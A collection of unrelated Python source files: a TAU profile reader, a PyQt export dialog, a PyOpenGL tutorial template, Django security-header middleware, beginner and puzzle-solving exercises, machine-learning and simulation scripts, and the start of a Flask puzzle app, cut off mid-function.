                root_values.extend(list(map(int, root_line.group(2).split(" ")[2:4])))

            # Check if the root exists in other ranks.
            # Note that we assume the root is the same for all metric files of a rank.
            if root_callpath not in self.callpath_to_node:
                # Create the root node since it doesn't exist
                root_node = Node(Frame({"name": root_name, "type": "function"}), None)

                # Store callpaths to identify nodes
                self.callpath_to_node[root_callpath] = root_node
                list_roots.append(root_node)
            else:
                # Don't create a new node since it is created earlier
                root_node = self.callpath_to_node.get(root_callpath)

            node_dict = self.create_node_dict(
                root_node,
                self.columns,
                root_values,
                root_name,
                None,
                None,
                0,
                0,
                rank,
                thread,
            )
            self.node_dicts.append(node_dict)

            # Start from the line after root.
            # Iterate over only the first metric file of a rank
            # since the lines should be exactly the same across
            # all metric files of a rank.
            # Uses the same "line_index" for other metric files of a rank.
            for line_index in range(1, len(file_data[0])):
                line = file_data[0][line_index]
                metric_values = []
                # We only parse the lines that has "=>" symbol which shows the callpath info.
                # We just skip the other lines.
                if "=>" in line:
                    # Example: ".TAU application  => foo()  => bar()" 31 0 155019 155019 0 GROUP="TAU_SAMPLE|TAU_CALLPATH"
                    callpath_line_regex = re.match(r"\"(.*)\"\s(.*)\sG", line)
                    # callpath: ".TAU application  => foo()  => bar()"
                    callpath = [
                        name.strip(" ")
                        for name in callpath_line_regex.group(1).split("=>")
                    ]

                    # Example leaf_name: StrToInt [{lulesh-util.cc} {13,1}-{29,1}]
                    leaf_name = callpath[-1]
                    callpath = tuple(callpath)
                    parent_callpath = callpath[:-1]
                    # Don't include the value for ProfileCalls.
                    # metric_values: 31 0 155019 155019
                    metric_values = list(
                        map(float, callpath_line_regex.group(2).split(" ")[:-1])
                    )

                    # Get start and end line information
                    leaf_line_numbers = _get_line_numbers(leaf_name)
                    # Get name, file, and module information using the leaf name
                    # and the symbol on it
                    if " C " in leaf_name:
                        leaf_name_file_module = _get_name_file_module(
                            False, leaf_name, " C "
                        )
                    elif " [@]" in leaf_name:
                        leaf_name_file_module = _get_name_file_module(
                            False, leaf_name, " [@]"
                        )
                    else:
                        leaf_name_file_module = _get_name_file_module(
                            False, leaf_name, ""
                        )

                    # Example: ".TAU application  => foo()  => bar()" 31 0 155019..."
                    first_file_callpath_line = re.search(
                        r"\"(.*?)\"", file_data[0][line_index]
                    ).group(1)
                    # After first profile.x.0.0, only get Excl and Incl metric values
                    # from other files.
                    for f_index in range(1, len(file_data)):
                        other_file_callpath_line = re.search(
                            r"\"(.*?)\"", file_data[f_index][line_index]
                        ).group(1)
                        # We assume metric files of a rank should have the exact same lines.
                        # Only difference should be the Incl and Excl metric values.
                        # TODO: We should find a solution if this raises an error.
                        assert first_file_callpath_line == other_file_callpath_line, (
                            "Lines across metric files for a rank are not the same.\n"
                            + "File: "
                            + filenames_per_rank[f_index]
                            + "\nLine: "
                            + str(line_index + 3)
                        )
                        # Get the information from the same line in each file. "line_index".
                        callpath_line_regex = re.match(
                            r"\"(.*)\"\s(.*)\sG", file_data[f_index][line_index]
                        )
                        metric_values.extend(
                            map(float, callpath_line_regex.group(2).split(" ")[2:4])
                        )

                    leaf_node = self.callpath_to_node.get(callpath)
                    # Check if that node is created earlier
                    if leaf_node is None:
                        # Create the node since it doesn't exist
                        leaf_node = Node(
                            Frame(
                                {"type": "function", "name": leaf_name_file_module[0]}
                            ),
                            None,
                        )
                        self.callpath_to_node[callpath] = leaf_node

                        # Get its parent from its callpath.
                        parent_node = self.callpath_to_node.get(parent_callpath)
                        if parent_node is None:
                            # Create parent if it doesn't exist.
                            _create_parent(leaf_node, parent_callpath)
                        else:
                            parent_node.add_child(leaf_node)
                            leaf_node.add_parent(parent_node)

                    node_dict = self.create_node_dict(
                        leaf_node,
                        self.columns,
                        metric_values,
                        # name
                        leaf_name_file_module[0],
                        # file
                        leaf_name_file_module[1],
                        # module
                        leaf_name_file_module[2],
                        # start line
                        leaf_line_numbers[0],
                        # end line
                        leaf_line_numbers[1],
                        rank,
                        thread,
                    )

                    self.node_dicts.append(node_dict)

        return list_roots

    def read(self):
        """Read the TAU profile file to extract the calling context tree."""
        # Add all nodes and roots.
        roots = self.create_graph()
        # Create a graph object once all nodes have been added.
        graph = Graph(roots)
        graph.enumerate_traverse()

        dataframe = pd.DataFrame.from_dict(data=self.node_dicts)

        indices = []
        # Set indices according to rank/thread numbers.
        if self.multiple_ranks and self.multiple_threads:
            indices = ["node", "rank", "thread"]
        elif self.multiple_ranks:
            dataframe.drop(columns=["thread"], inplace=True)
            indices = ["node", "rank"]
        elif self.multiple_threads:
            dataframe.drop(columns=["rank"], inplace=True)
            indices = ["node", "thread"]
        else:
            indices = ["node"]

        dataframe.set_index(indices, inplace=True)
        dataframe.sort_index(inplace=True)

        # Fill the missing ranks
        # After unstacking and iterating over rows, there
        # will be "NaN" values for some ranks. Find the first
        # rank that has notna value and use it for other rows/ranks
        # of the multiindex.
        # TODO: iterrows() is not the best way to iterate over rows.
        num_of_indices = len(indices)
        if num_of_indices > 1:
            if num_of_indices == 2:
                dataframe = dataframe.unstack()
            elif num_of_indices == 3:
                dataframe = dataframe.unstack().unstack()
            for idx, row in dataframe.iterrows():
                # There is always a valid name for an index.
                # Take that valid name and assign to other ranks/rows.
                name = row["name"][row["name"].first_valid_index()]
                dataframe.loc[idx, "name"] = name

                # Sometimes there is no file information.
                if row["file"].first_valid_index() is not None:
                    file = row["file"][row["file"].first_valid_index()]
                    dataframe.loc[idx, "file"] = file

                # Sometimes there is no module information.
                if row["module"].first_valid_index() is not None:
                    module = row["module"][row["module"].first_valid_index()]
                    dataframe.loc[idx, "module"] = module

                # Fill the rest with 0
                dataframe.fillna(0, inplace=True)

            # Stack the dataframe
            if num_of_indices == 2:
                dataframe = dataframe.stack()
            elif num_of_indices == 3:
                dataframe = dataframe.stack().stack()

        default_metric = "time (inc)"
        dataframe = dataframe.astype({"line": int, "end_line": int})
        return hatchet.graphframe.GraphFrame(
            graph, dataframe, self.exc_metrics, self.inc_metrics, default_metric
        )


import traceback, os

from PyQt5 import QtGui, QtWidgets
from PyQt5.uic import loadUiType

from pylabcontrol.tools.export_default_v2 import find_scripts_in_python_files, python_file_to_b26, find_instruments_in_python_files

# load the basic old_gui either from .ui file or from precompiled .py file
try:
    # import external_modules.matplotlibwidget
    Ui_Dialog, QDialog = loadUiType('import_window.ui') # with this we don't have to convert the .ui file into a python file!
except (ImportError, IOError):
    from pylabcontrol.gui.compiled_ui_files.load_dialog import Ui_Dialog
    from PyQt5.QtWidgets import QMainWindow
    from PyQt5.QtWidgets import QDialog
    print('Warning!: on the fly conversion of load_dialog.ui file failed, loaded .py file instead!!\n')

class ExportDialog(QDialog, Ui_Dialog):
    """
LoadDialog(intruments, scripts, probes)
    - type: either script, instrument or probe
    - loaded_elements: dictionary that contains the loaded elements
MainWindow(settings_file)
    - settings_file is the path to a json file that contains all the settings for the old_gui
Returns:
    """

    def __init__(self):
        super(ExportDialog, self).__init__()
        self.setupUi(self)

        # create models for tree structures, the models reflect the data
        self.list_script_model = QtGui.QStandardItemModel()
        self.list_script.setModel(self.list_script_model)
        self.error_array = {}

        self.list_script.selectionModel().selectionChanged.connect(self.display_info)
        self.cmb_select_type.currentIndexChanged.connect(self.class_type_changed)

        #
        # # connect the buttons
        self.btn_open_source.clicked.connect(self.open_file_dialog)
        self.btn_open_target.clicked.connect(self.open_file_dialog)
        self.btn_select_all.clicked.connect(self.select_all)
        self.btn_select_none.clicked.connect(self.select_none)
        self.btn_export.clicked.connect(self.export)

        self.source_path.setText(os.path.normpath(os.path.join(os.getcwd(), '..\\scripts')))
        self.target_path.setText(os.path.normpath(os.path.join(os.getcwd(), '..\\..\\..\\user_data\\scripts_auto_generated')))
        self.reset_avaliable(self.source_path.text())

    def open_file_dialog(self):
        """
        opens a file dialog to get the path to a file and
        """
        dialog = QtWidgets.QFileDialog
        sender = self.sender()
        if sender == self.btn_open_source:
            textbox = self.source_path
        elif sender == self.btn_open_target:
            textbox = self.target_path
        folder = dialog.getExistingDirectory(self, 'Select a file:', textbox.text(), options = QtWidgets.QFileDialog.ShowDirsOnly)
        if str(folder) != '':
            textbox.setText(folder)
            # load elements from file and display in tree
            if sender == self.btn_open_source:
                self.reset_avaliable(folder)

    def reset_avaliable(self, folder):
        self.list_script_model.removeRows(0, self.list_script_model.rowCount())
        if self.cmb_select_type.currentText() == 'Script':
            self.avaliable = find_scripts_in_python_files(folder)
        elif self.cmb_select_type.currentText() == 'Instrument':
            self.avaliable = find_instruments_in_python_files(folder)
        self.fill_list(self.list_script, self.avaliable.keys())
        for key in self.avaliable.keys():
            self.error_array.update({key: ''})

    def class_type_changed(self):
        if self.source_path.text():
            self.reset_avaliable(self.source_path.text())

    def fill_list(self, list, input_list):
        """
        fills a tree with nested parameters
        Args:
            tree: QtGui.QTreeView
            parameters: dictionary or Parameter object

        Returns:

        """
        for name in input_list:
            # print(index, loaded_item, loaded_item_settings)
            item = QtGui.QStandardItem(name)
            item.setSelectable(True)
            item.setEditable(False)

            list.model().appendRow(item)

    def select_none(self):
        self.list_script.clearSelection()

    def select_all(self):
        self.list_script.selectAll()

    def export(self):
        selected_index = self.list_script.selectedIndexes()
        for index in selected_index:
            item = self.list_script.model().itemFromIndex(index)
            name = str(item.text())
            target_path = self.target_path.text()
            try:
                python_file_to_b26({name: self.avaliable[name]}, target_path, str(self.cmb_select_type.currentText()), raise_errors = True)
                self.error_array.update({name: 'export successful!'})
                item.setBackground(QtGui.QColor('green'))
            except Exception:
                self.error_array.update({name: str(traceback.format_exc())})
                item.setBackground(QtGui.QColor('red'))
            QtWidgets.QApplication.processEvents()
        self.list_script.clearSelection()

    def display_info(self):
        sender = self.sender()
        somelist = sender.parent()
        index = somelist.selectedIndexes()
        if index != []:
            index = index[-1]
            name = str(index.model().itemFromIndex(index).text())
            self.text_error.setText(self.error_array[name])
            if(self.avaliable[name]['info'] == None):
                self.text_info.setText('No information avaliable')
            else:
                self.text_info.setText(self.avaliable[name]['info'])

if __name__ == '__main__':
    import sys

    app = QtWidgets.QApplication(sys.argv)
    # ex = LoadDialog(elements_type = 'instruments', elements_old=instuments, filename="Z:\Lab\Cantilever\Measurements\\__tmp\\test.b26")
    # ex = LoadDialog(elements_type='scripts', elements_old=instuments)
    ex = ExportDialog()

    ex.show()
    ex.raise_()

    print('asda')
    if ex.exec_():
        values = ex.get_values()
        print(values)

    sys.exit(app.exec_())

    # from pylabcontrol.core.helper_functions import module_name_from_path
    #
    # base = '__main__'
    # fp = os.path.dirname(sys.modules[base].__file__)
    #
    # m, p = module_name_from_path(fp, verbose=True)
    # print('sys.modules[base]', m)
    # print('path', p)


import pygame as pg
from OpenGL.GL import *
from OpenGL.GL.shaders import compileProgram,compileShader
import numpy as np

def createShader(vertexFilepath, fragmentFilepath):

    """
        Terminology sometimes gets confused as to what these things are,
        often these are called fragment shaders, vertex shaders, and also
        for some reason the compiled program is also called a shader.

        We're going to use this terminology out of convenience, but here's
        the truth:

        the code for the vertex and fragment stages are individually compiled
        into modules, then those modules are linked and compiled together to form
        a shader program, so we have:

        (vertex shader module) + (fragment shader module) -> (shader program)
    """

    with open(vertexFilepath,'r') as f:
        vertex_src = f.readlines()

    """
        Task 2.2: convince yourself that no sorcery is going on here,
        print vertex_src to the console, inspect its variable type etc.
    """

    with open(fragmentFilepath,'r') as f:
        fragment_src = f.readlines()

    shader = compileProgram(compileShader(vertex_src, GL_VERTEX_SHADER),
                            compileShader(fragment_src, GL_FRAGMENT_SHADER))

    return shader

class App:

    def __init__(self):
        """ Initialise the program """
        pg.init()
        pg.display.gl_set_attribute(pg.GL_CONTEXT_MAJOR_VERSION, 3)
        pg.display.gl_set_attribute(pg.GL_CONTEXT_MINOR_VERSION, 3)
        pg.display.gl_set_attribute(pg.GL_CONTEXT_PROFILE_MASK,
                                    pg.GL_CONTEXT_PROFILE_CORE)
        pg.display.set_mode((640,480), pg.OPENGL|pg.DOUBLEBUF)
        self.clock = pg.time.Clock()
        glClearColor(0.1, 0.2, 0.2, 1)
        #task 2.1: make a triangle
        self.triangle: Triangle = None
        #task 2.2: create a shader using the helper function.
        self.shader = None
        #task 2.2: tell OpenGL to use the shader program
        """
            task 2.2: what actually gets stored in the self.shader variable?
            What do you think this represents?
            What will happen as you make more shaders?
            (you could try repeatedly compiling the same code as a quick test)
            If you delete a shader and then make another, does this change anything?

            These data types are fairly opaque, but it's still fun to ask questions
            about them.
        """
        self.mainLoop()

    def mainLoop(self) -> None:
        """ Run the app """

        running = True
        while (running):
            #check events
            for event in pg.event.get():
                if (event.type == pg.QUIT):
                    running = False
            #refresh screen
            glClear(GL_COLOR_BUFFER_BIT)

            if self.shader is not None:
                """
                    Task 2.2: Draw the triangle!
                        use the shader (It's good practice even though we only have one)
                        bind a vertex array: our triangle's vao
                        draw arrays: in triangle mode, starting at vertex 0, drawing
                            all of the triangle's vertices.
                """
                glUseProgram(self.shader)
            pg.display.flip()

            #timing
            self.clock.tick(60)
        self.quit()

    def quit(self) -> None:
        """ cleanup the app, run exit code """
        """
            Task 2.2: delete the shader program
        """
        if self.triangle is not None:
            self.triangle.destroy()
        pg.quit()

class Triangle:
    """ A simple triangle mesh """

    def __init__(self):
        """ Make a mesh """

        #x, y, z
        self.vertices = (
            -0.5, -0.5, 0.0,
             0.5, -0.5, 0.0,
             0.0,  0.5, 0.0,
        )
        """
            task 2.1: convert this tuple of floats into a numpy array

            don't forget to set dtype! Otherwise the default is np.float64,
            and that won't behave as expected.
        """

        self.vertex_count = 3

        """
            task 2.1: generate one vertex array to store the
            vertex array object
        """
        self.vao = None
        if self.vao is not None:
            glBindVertexArray(self.vao)

        self.vbo = glGenBuffers(1)
        """
            task 2.1: Bind the buffer to the appropriate descriptor
            so that it'll get the data from self.vertices
        """
        #...
        upload_ready = False
        if upload_ready:
            glBufferData(GL_ARRAY_BUFFER, self.vertices.nbytes, self.vertices, GL_STATIC_DRAW)

        """
            By this point we should be done with task 2.1: sending data to the GPU
                I realize it isn't very satisfying to do this work and have no payoff,
                so the following code can query and more or less verify that we have
                done something.
        """
        print(f"Vertex Array handle: {self.vao}")
        print(f"Buffer handle: {self.vbo}")
        buffer_size = glGetBufferParameteriv(GL_ARRAY_BUFFER, GL_BUFFER_SIZE)
        print(f"Our buffer is taking up {buffer_size} bytes in memory.")

        """
            task 2.2: enable attribute 0, and create an attribute pointer to it.

            Attribute 0 is position, it has 3 elements of type float,
            the elements do not need to be normalized by the graphics pipeline
            upon consumption, the buffer has a stride of 3 floats (how many bytes is that?)
            and attribute 0 starts at the beginning (no offset)
        """
        task_2_2_ready = False
        attribute_index = None
        elements_per_attribute = None
        element_type = None
        normalized = GL_FALSE
        stride_in_bytes = None
        offset_in_bytes = None
        if task_2_2_ready:
            glEnableVertexArrayAttrib(attribute_index)
            glVertexAttribPointer(
                attribute_index, elements_per_attribute,
                element_type, normalized,
                stride_in_bytes, ctypes.c_void_p(offset_in_bytes)
            )

    def destroy(self) -> None:
        """ Free any allocated memory """

        """
            "But wait!"
            I hear you say,
            "Python is a garbage collected language!"
            Yes it is, but we've used that garbage collected language
            to tell our GPU to store some data.

            (this is one of the challenges of PyOpenGL,
            suddenly memory leaks are possible!)
        """

        if self.vao is not None:
            glDeleteVertexArrays(1,(self.vao,))
        if self.vbo is not None:
            glDeleteBuffers(1,(self.vbo,))

if __name__ == "__main__":
    myApp = App()

graphics programming masterclass/1 pyopengl/01 - Introduction and Transformations/2 - hello triangle/start/window.py


import secure

__all__ = ("set_secure_headers",)

# Angular requires default-src 'self'; style-src 'self' 'unsafe-inline';
# https://angular.io/guide/security#content-security-policy
csp_policy = (
    secure.ContentSecurityPolicy()
    .default_src("'self'")
    .font_src("'self'", "fonts.gstatic.com")
    .style_src("'self'", "'unsafe-inline'", "fonts.googleapis.com")
)

# Secure 0.3.0 mistakenly has a semicolon in the default value,
# which is fixed in an unreleased version.
permissions_policy = secure.PermissionsPolicy()
permissions_policy.value = (
    "accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), "
    "camera=(), clipboard-read=(), clipboard-write=(), cross-origin-isolated=(), "
    "display-capture=(), document-domain=(), encrypted-media=(), "
    "execution-while-not-rendered=(), execution-while-out-of-viewport=(), "
    "fullscreen=(), gamepad=(), geolocation=(), gyroscope=(), magnetometer=(), "
    "microphone=(), midi=(), navigation-override=(), payment=(), "
    "picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), "
    "speaker-selection=(), sync-xhr=(), usb=(), web-share=(), "
    "xr-spatial-tracking=()"
)

secure_headers = secure.Secure(csp=csp_policy, permissions=permissions_policy)

def set_secure_headers(get_response):
    def middleware(request):
        response = get_response(request)
        secure_headers.framework.django(response)
        return response

    return middleware


from sys import stdin

def round_up0(p, q):
    if q < 0:
        p = -p
        q = -q
    return (p + q - 1) // q

readline = stdin.readline
n, a, b = map(int, readline().split())
an = list(map(int, readline().split()))

def meguru_bisect(ok: int, ng: int):
    def solve(mid: int):
        x = 0
        y = 0
        for val in an:
            if val < mid:
                x += round_up0(mid - val, a)
            else:
                y += (val - mid) // b
        if x <= y:
            return True
        return False

    while abs(ok - ng) > 1:
        mid = (ok + ng) // 2
        if solve(mid):
            ok = mid
        else:
            ng = mid
    return ok

print(meguru_bisect(-1, 10 ** 18))


import sys
from collections import defaultdict

from typing import Dict, Any, Union, Tuple

def parse_arg(v: str) -> Union[str, int, float, bool, Tuple, None]:
    if v.startswith('[') and v.endswith(']'):
        # function args must be immutable tuples not list
        tmp = v.replace('[', '').replace(']', '').strip().split(',')
        if len(tmp) > 0:
            return tuple(parse_arg(vv.strip()) for vv in tmp)
        else:
            return tuple()
    try:
        v = int(v)  # parse int parameter
    except ValueError:
        try:
            v = float(v)  # parse float parameter
        except ValueError:
            if len(v) == 0:
                # ignore it when the parameter is empty
                v = None
            elif v.lower() == 'true':  # parse boolean parameter
                v = True
            elif v.lower() == 'false':
                v = False
    return v

def get_args_request(args: Dict[str, str]) -> Dict[str, Any]:
    return {k: parse_arg(v) for k, v in args.items()}

def get_args_cli() -> Dict[str, Any]:
    d = defaultdict(list)
    if sys.argv[1:]:
        for k, v in ((k.lstrip('-'), v) for k, v in (a.split('=') for a in sys.argv[1:])):
            d[k].append(v)
        for k, v in d.items():
            parsed_v = [s for s in (parse_arg(vv) for vv in v) if s is not None]
            if len(parsed_v) > 1:
                d[k] = parsed_v
            if len(parsed_v) == 1:
                d[k] = parsed_v[0]
    return d


# Напишите программу, которая будет преобразовывать десятичное число в двоичное.

# Пример:

# - 45 -> 101101
# - 3 -> 11
# - 2 -> 10

def get_bin(n):
    bin = list()
    while n > 0:
        bin.append(n%2)
        n = n//2
    bin.reverse()
    index = 0
    while index < len(bin):
        print(bin[index], end='')
        index += 1

# Второй вариант со строками
# def get_bin2(n):
#     bin = ""
#     while n > 0:
#         bin = str(n%2) + bin
#         n = n//2
#     return bin

n = int(input('Введите десятичное число, которое хотите перевести в двоичное: '))

# print(f'Число {n} в двоичной системе исчисления равно {get_bin2(n)}')
print(f'Число {n} в двоичной системе исчисления равно: ')
get_bin(n)


import math
list=[]
def one_comp(bin):
 for x in bin[::-1]:
  if x=='1':
   list.append(0)
  else:
   list.append(1)
 return list

def no(s):
 value=0
 k=0
 for i in s[::-1]:
    if i=='1':
    	value = value +int(math.pow(2, k))
    k+=1

 return value

n=int(input("enter no"))
bin=bin(n)
print(bin)
l=one_comp(str(bin[2::]))
s=''.join(str(e) for e in list)
#print(s)
print('one s complimant to no is:---')
print(no(s))


from collections import defaultdict
import contextlib
from random import sample
from tkinter import S, Y
from matplotlib import pyplot as plt
import numpy as np
import pandas as pd
from helper import *
from nn import *
from global_variables import *
from utils import  *
import time

def main(k, lambd, alpha, file, dataset_name, epochs, n_features, verbose=False):
    print("-----{} Dataset------".format(dataset_name))
    data = file
    kfold = Kfold(k, data)
    metricsByFold =[]
    for i in kfold.foldrange:
        train, test = kfold.get_splits(i)
        train = pd.get_dummies(train, columns=["class"])
        test = pd.get_dummies(test, columns=["class"])
        X_train, y_train, X_test, y_test = normalize_and_split_df(train, test, n_features)

        network = [X_train.shape[1], 32, n_features]

        params = init_weights(network)
        trained_params, _ = NN(X_train.values, y_train.values, params, network, lambd=lambd,n_features=n_features, alpha=alpha, epochs=epochs)

    #
        preds, caches = forward(X_test.values,trained_params, n_features)

        unq = y_test.shape[1]
        truth = y_test.values
        if unq>2:
            acc, f1 = multi_calculate_metrics(truth, preds)
        else:
            acc, f1 = std_calculate_metrics(truth, preds)
        metricsByFold.append([acc, f1])
        print("Accuracy for fold-{} is {}".format(i+1, acc))
        print("F1-Score for fold-{} is {}".format(i+1, f1))
    metrics = np.sum(np.array(metricsByFold), axis=0)/k
    writetofile(f"Hyperparameters for Dataset: {dataset_name} and Network {str(network)}: k: {k} | lambda: {lambd} | alpha: {alpha} | epochs(iter): {epochs} | Accuracy:{metrics[0]} | F1 Score:{metrics[1]}")
    print(f"Average Accuracy:{metrics[0]}  | F1 Score:{metrics[1]}")

def testbackprop(lambd, n_features, alpha, network):

    params={}
    params["W" + str(1)] = np.array([[0.42000,  0.15000,  0.40000],
    [0.72000, 0.10000, 0.54000], [0.01000, 0.19000, 0.42000],
    [0.30000, 0.35000, 0.68000]], dtype=np.float64)
    params["W" + str(2)] = np.array([[0.21000, 0.67000, 0.14000, 0.96000, 0.87000],
	[0.87000, 0.42000, 0.20000, 0.32000, 0.89000],
	[0.03000, 0.56000, 0.80000, 0.69000, 0.09000]], dtype=np.float64)
    params["W" + str(3)] = np.array([[0.04000, 0.87000, 0.42000, 0.53000],
	[0.17000, 0.10000, 0.95000, 0.69000]], dtype=np.float64)
    X = np.array([[0.32000, 0.68000], [0.83000, 0.02000]], dtype=np.float64)
    y = np.array([[0.75000, 0.98000], [0.75000, 0.28000]], dtype=np.float64)

    trained_params, cost_list = NN(X,y, params,network, lambd, n_features, alpha=alpha, epochs=1, verbose=True)

def cost_graph(k, lambd, alpha, file, dataset_name, epochs, n_features, network,verbose=False):
    print("-----{} Dataset------".format(dataset_name))
    data = file
    kfold = Kfold(k, data)
    cost_list = defaultdict()
    train, test = kfold.get_splits(5)
    train = pd.get_dummies(train, columns=["class"])
    test = pd.get_dummies(test, columns=["class"])
    X_train, y_train, X_test, y_test = normalize_and_split_df(train, test, n_features)
    X_train = X_train.values
    y_train = y_train.values
    X_test = X_test.values
    y_test = y_test.values
    fig, ax = plt.subplots()
    ax.set_title('Cost Graph')
    plt.xlabel("Number of Samples")
    plt.ylabel("J (cost/performance) values")
    plt.tight_layout()
    plt.ion()
    plt.show()
    prevcost = 0
    batch = 10
    for s in range(batch,X_train.shape[0],batch):
        samples = sample(range(X_train.shape[0]), s)
        mini_X = X_train[samples]
        mini_y = y_train[samples]
        params = init_weights(network)
        trained_params, _ = NN(mini_X, mini_y, params, network, lambd=lambd,n_features=n_features, alpha=alpha, epochs=epochs)

        preds, caches = forward(X_test, trained_params, n_features)
        cur_cost = cost_fn(preds, y_test, caches, lambd, verbose, train=False)
        if s != 0:
            ax.plot([s-batch, s], [prevcost, cur_cost], marker='o', color="blue", label="cost")
            plt.pause(0.0001) # pause required to update the graph

        cost_list[s] = cur_cost
        prevcost = cur_cost
    plt.savefig(f"images\cost analysis_{dataset_name}_{str(time.monotonic())}.png")

if __name__ == '__main__':
    #hyperparameters
    lambd = 0.25
    alpha=0.3
    eval = ""

    if eval == "test":
        file_path = 'backprop.txt'
        with open(file_path, "a") as o:
            with contextlib.redirect_stdout(o):
                network =  [2, 4, 3, 2]
                testbackprop(lambd,2, alpha, network)

    elif eval =="cost":
        k = 10
        alpha=0.01
        epochs = 9000
        alpha=0.2
        network = [16, 16, 2]
        h = get_dataset(house_votes, False)
        file = h["file"]
        cost_graph(k, lambd, alpha, file, h["name"],epochs,h[n_features], network, False)
    else:
        k = 10
        epochs = 5000
        f = get_dataset(cancer, False)
        file = f["file"]
        main(k, lambd, alpha, file, f["name"],epochs,f[n_features], False)


import pandas as pd
import numpy as np

import argparse

def construct_stats(df):

    mean = df.mean()
    std = df.std()

    confi_interval = std * 1.96 / np.sqrt(len(df))
    aggregated = pd.concat([mean, std, confi_interval], axis=1)
    aggregated.columns = ['mean', 'std', '95%CI']
    return aggregated

def compile_result(args):
    for target in args.file:
        dfs = pd.read_excel(target, sheet_name=None, index_col=0)

        target_df = []

        for i in dfs:
            if i.startswith('per_class') and not i.endswith('_all'):
                target_df.append((dfs[i]))

        compiled_result = target_df[0].copy()

        for i in range(1, len(target_df)):
            compiled_result += target_df[i]

        compiled_result /= len(target_df)
        compiled_result = construct_stats(compiled_result)

        with pd.ExcelWriter(target[:-5] + '_parent_metric_v2'+ '.xlsx', engine='xlsxwriter') as f:
            compiled_result.to_excel(f, sheet_name='per_parent_per_class')
    return

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--file', required=True, type=str, nargs='+', help='file that should be aggregated')
    args = parser.parse_args()

    compile_result(args)


#!/usr/bin/env python3
import pytest

from collections import Counter

def compute(cts: str):
    numbers = sorted(map(int, cts.splitlines()))
    counter = Counter(n2 - n1 for n1, n2 in zip(numbers, numbers[1:]))
    return (counter[1] + 1) * (counter[3] + 1)

@pytest.mark.parametrize(
    'input_str, expected',
    [
        ("16\n10\n15\n5\n1\n11\n7\n19\n6\n12\n4", 7 * 5),
        (
            "28\n33\n18\n42\n31\n14\n46\n20\n48\n47\n24\n23\n49\n45\n19\n38\n39\n11\n1\n32\n25\n35\n8\n17\n7\n9\n4\n"
            "2\n34\n10\n3",
            22 * 10,
        ),
    ],
)
def test_compute(input_str, expected) -> None:
    assert compute(input_str) == expected

def main() -> int:
    with open('input.txt', 'r') as f:
        cts = f.read().strip()

    print(compute(cts))

    return 0

if __name__ == '__main__':
    exit(main())


from video_recommendations import VideoRecommendationsModel, Watcher
import pandas as pd

if __name__ == "__main__":
    width = 20
    height = 20
    num_agents = 1
    num_steps = 20

    video_values = [i for i in range(1, 201)]
    search_costs = [(101 - i) for i in video_values]
    video_boxes = list(zip(video_values, search_costs))

    agent_payoff_df = pd.DataFrame(columns=['final_payoff', 'uid', 'patience', 'step_number', 'acuity', 'recommender_trust', 'recommender_hv', 'recommender_random',  'optimal_search_value'])

    for treatment in ['no_recommend', 'high_value', 'random']:

        for i in range(1,101):

            model = VideoRecommendationsModel(width, height, num_agents, treatment)

            while model.running == True:
                for i in range(num_steps):
                    if any(isinstance(a, Watcher) for a in model.schedule.agents):
                        #model.report_Video_Box_Values()
                        #model.report_Agent_Locations()
                    # print(f'Stepping model to step {i}')
                        model.step()
                    else:
                        #model.report_Watcher_Final_Payoffs()
                        #print('Agent has stopped searching, breaking the model')
                        model.running = False

            optimal_search_value = model.calculateOptimalSearchValue(model.video_boxes)
            agent_payoffs = model.report_Watcher_Final_Payoffs()
            agent_payoff_treatment_df = pd.DataFrame(agent_payoffs, columns=['final_payoff', 'uid', 'patience', 'step_number', 'acuity', 'recommender_trust', 'recommender_hv', 'recommender_random'])
            agent_payoff_treatment_df['optimal_search_value'] = optimal_search_value
            agent_payoff_df = pd.concat([agent_payoff_df, agent_payoff_treatment_df])

    agent_payoff_df['search_quality'] = agent_payoff_df['final_payoff'] / agent_payoff_df['optimal_search_value']
    agent_payoff_df.to_csv('recommender_abm_results.csv')

            #print(f'Iterating model to step {i}')


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

### Installation
# Voraussetzung Python 3.3 und 3.4 unter Windows:
# https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279

# cd c:\Python34\Scripts
# pip install lxml

# CentOS 7 Python 3.6 XML - Module schon vorhanden!

### ACHTUNG
# https://docs.python.org/3.6/library/xml.html#xml-vulnerabilities

### Doku für die Methoden und Eigenschaften:
# https://docs.python.org/3.6/library/xml.dom.html

### The following interfaces have no implementation in xml.dom.minidom:

# DOMTimeStamp
# DocumentType
# DOMImplementation
# CharacterData
# CDATASection
# Notation
# Entity
# EntityReference
# DocumentFragment

from xml.dom import minidom

doc = minidom.parse('config.xml')

name = doc.getElementsByTagName('host')[0]

print(name.firstChild.data);

dbListe = doc.getElementsByTagName('db')

for db in dbListe:
    print(db.firstChild.data);

standby = doc.getElementsByTagName('standby')[0]
dbListe = standby.getElementsByTagName('db')

for db in dbListe:
    print(db.firstChild.data);

print('mysql db demo ohne standby')
mysql = doc.getElementsByTagName('mysql')[0]
kindListe = mysql.childNodes

for kind in kindListe:
    ### Nuer Elementknoten
    if kind.nodeType == 1:
        if kind.tagName == 'db':
            print(kind.firstChild.data)


import logging
import functools
import importlib
import pathlib
import sys

from flask import Flask, session, request, redirect, current_app

from riddle import database
from riddle import cli
from riddle import utils

__version__ = '1.0.0-dev'

def page_not_found(err):
    return "Apparently, someone did a mistake (404).", 404

def user_not_allowed(err):
    return "You can't touch this (403).", 403

def get_routes():
    level_map = current_app.config['level_map']
    # Create a map from routes to level files
    return {r: l for l in level_map for r in level_map[l]}

def level_access_verification():
    """Return a message when user has no access to a requested level."""
    current_app.logger.debug("Checking user accessing")
    # If user does not exist, create a new one
    user = session.get('user_id')
    if user is None:
        current_app.logger.info("No user in session, creating a new user")
        session['user_id'] = utils.create_user()

    # Ensure requested URL can be read
    accessed = request.path[1:]
    current_app.logger.debug(f"Requested path: {accessed}")
    levels = [str(l) for l in utils.get_level_structure()]
    # We might get a request for a mapped entry point
    routes = get_routes()

    if '/'+accessed not in routes:
        current_app.logger.info("Cannot find level, should be 404")
        return None  # Let this be handled by a 404

    if current_app.config.get('UNCONFINED', False):
        current_app.logger.warn("Unconfined access enabled")
        return None

    # Query user progress and check permissions
    progress = list(p[:2] for p in utils.query_user_progress(session['user_id']))
    current_app.logger.debug(f"Player progress {progress}")
    user_allowed = utils.is_user_allowed(routes['/'+accessed], progress)
    if not user_allowed:
